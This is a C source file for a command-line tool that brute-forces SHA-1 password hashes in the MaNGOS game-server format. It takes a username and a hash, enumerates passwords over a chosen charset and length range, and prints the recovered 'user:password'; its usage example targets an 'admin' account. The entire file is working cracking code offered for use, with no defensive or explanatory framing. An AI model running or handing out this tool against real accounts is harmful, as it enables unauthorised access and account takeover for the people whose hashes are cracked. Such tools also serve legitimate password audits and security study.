/*
  SHA-1 Hash Bruteforce Attack
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#include "includes/libm_sha1.h"
#include "includes/libm_aux.h"

#define showTimer 1

int *generateKeys(int n, int cLen, char *charSet, char *user, char *target_hash)
{
  printf(" >> Length: %d\n", n);
  
  char hash[41], pass[n + 1];
  int *key, i, j;
  
  key = (int *) malloc((n + 1) * sizeof(int));
  if (key == NULL)
    {
      fprintf(stderr, "Out of memory!\n");
      exit(1);
    }
  
  memset(key, 0, (n + 1) * sizeof(int));
  pass[n] = '\0';
  
  do
    {
      for (j = 0; j < n; j++)
	pass[j] = charSet[key[j]];
      
      sha1_mangos(user, pass, hash, 0); //slow
      if (strcmp(hash, target_hash) == 0)
	{
	  return key;
	}

      (*key)++;

      i = 0;
      while (key[i] == cLen)
	{
	  key[i] = 0;
	  key[++i]++;
	}
    }
  while (key[n] == 0);

  free(key);
  return NULL;
}

int main(int argc, char *argv[])
{
  if (argc != 5)
    {
      printf("SHA-1 Hash MaNGOS BruteForce Attack\n");
      printf("Xkyve Software\n");
      printf("Usage: %s <charset> <length> <username> <hash>\n", argv[0]);
      printf("Example: %s an 3-7 admin 7A64602D015E056171AF08095FE20D1BB264E242\n", argv[0]);
      printf("Charset, any combination of a, n and s:\n"
	     " a - alphabet\n"
	     " n - digits\n"
	     " s - special characters\n");
      exit(1);
    }

  char *charSet;
  int charSetLen;

  if ( (charSet = makeCharSet(argv[1], &charSetLen)) == NULL )
    {
      printf("Wrong charset options provided!\n");
      exit(1);
    }

  int l_min, l_max;
  sscanf(argv[2], "%d-%d", &l_min, &l_max);

  if (!len_valid(l_min, l_max))
    {
      printf("Length interval is not valid!\n");
      printf("The allowed limits of the interval are: %d-%d\n", lenMin, lenMax);
      exit(1);
    }
  
  if (!sha1_valid(argv[4]))
    {
      printf("Invalid hash specified!\n");
      exit(1);
    }

  str_up(argv[3]); str_up(argv[4]);
  printf("Attempting to break --> %s:%s\n", argv[3], argv[4]);

  int *key = NULL, passLen = l_min;

  #if showTimer
  clock_t start, stop;
  start = clock();
  #endif

  while (key == NULL && passLen <= l_max)
    {
      key = generateKeys(passLen, charSetLen, charSet, argv[3], argv[4]);

      if (key == NULL)
	passLen++;
    }

  if (key == NULL)
    {
      printf("Failed! Password could not be found.\n");
    }
  else
    {
      int i;
      printf("Success! %s:", argv[3]);

      for (i = 0; i < passLen; i++)
	printf("%c", charSet[key[i]]);

      printf("\n");
      free(key);
    }

  #if showTimer
  stop = clock();
  printf("Approx CPU time elapsed: %.3lf seconds.\n", (double) (stop - start) / CLOCKS_PER_SEC);
  #endif

  free(charSet);
  return 0;
}
